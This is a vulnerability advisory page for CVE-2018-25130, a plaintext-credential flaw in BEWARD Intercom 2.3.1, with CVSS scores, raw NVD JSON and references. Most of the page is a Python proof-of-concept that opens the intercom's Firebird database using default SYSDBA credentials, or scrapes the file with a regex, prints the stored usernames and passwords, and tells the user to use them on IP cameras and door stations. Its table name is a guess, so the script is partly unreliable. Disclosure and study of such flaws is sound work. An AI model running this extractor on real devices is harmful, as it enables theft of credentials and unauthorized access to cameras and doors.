Security Vulnerability Report
中文
CVE-2018-25130 CVSS 6.2 MEDIUM

CVE-2018-25130

Published: 2025-12-24 20:15:47
Last Modified: 2026-04-15 00:35:42

Description

Beward Intercom 2.3.1 contains a credentials disclosure vulnerability that allows local attackers to access plain-text authentication credentials stored in an unencrypted database file. Attackers can read the BEWARD.INTERCOM.FDB file to extract usernames and passwords, enabling unauthorized access to IP cameras and door stations.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

BEWARD Intercom 2.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2018-25130 PoC - BEWARD Intercom Credentials Disclosure This script demonstrates the extraction of plaintext credentials from BEWARD.INTERCOM.FDB Note: For authorized security testing only """ import os import sys def exploit_cve_2018_25130(db_path): """ Exploit function to extract credentials from BEWARD Intercom database Args: db_path: Path to BEWARD.INTERCOM.FDB file Returns: Dictionary containing extracted credentials """ credentials = { 'usernames': [], 'passwords': [], 'raw_data': [] } try: # Check if database file exists if not os.path.exists(db_path): print(f"[-] Database file not found: {db_path}") return None print(f"[+] Found database file: {db_path}") print("[+] Extracting credentials...") # For Firebird database, use fdb library try: import fdb conn = fdb.connect(database=db_path, user='SYSDBA', password='masterkey') cursor = conn.cursor() # Query for user credentials - typical table names in BEWARD systems query = "SELECT USERNAME, PASSWORD FROM USERS" cursor.execute(query) for row in cursor.fetchall(): username, password = row credentials['usernames'].append(username) credentials['passwords'].append(password) credentials['raw_data'].append(f"{username}:{password}") print(f"[+] Found credential: {username}:{password}") conn.close() except ImportError: # Alternative: Read raw file and extract patterns print("[*] fdb library not available, attempting raw file extraction...") with open(db_path, 'rb') as f: data = f.read() # Search for credential patterns in plaintext import re # Pattern for typical credential strings pattern = rb'[A-Za-z0-9_]{3,20}:[A-Za-z0-9_]{3,20}' matches = re.findall(pattern, data) for match in matches: decoded = match.decode('utf-8', errors='ignore') if ':' in decoded: parts = decoded.split(':') if len(parts) == 2: credentials['raw_data'].append(decoded) print(f"[+] Found credential: {decoded}") return credentials except Exception as e: print(f"[-] Error: {str(e)}") return None def main(): if len(sys.argv) != 2: print("Usage: python cve_2018_25130.py <path_to_BEWARD.INTERCOM.FDB>") sys.exit(1) db_path = sys.argv[1] results = exploit_cve_2018_25130(db_path) if results and results['raw_data']: print(f"\n[+] Successfully extracted {len(results['raw_data'])} credential(s)") print("\n[!] Use these credentials to access IP cameras and door stations") else: print("[-] No credentials found or exploit failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2018-25130", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:46.707", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Beward Intercom 2.3.1 contains a credentials disclosure vulnerability that allows local attackers to access plain-text authentication credentials stored in an unencrypted database file. Attackers can read the BEWARD.INTERCOM.FDB file to extract usernames and passwords, enabling unauthorized access to IP cameras and door stations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-256"}]}], "references": [{"url": "https://www.beward.net", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46267", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5505.php", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5505.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}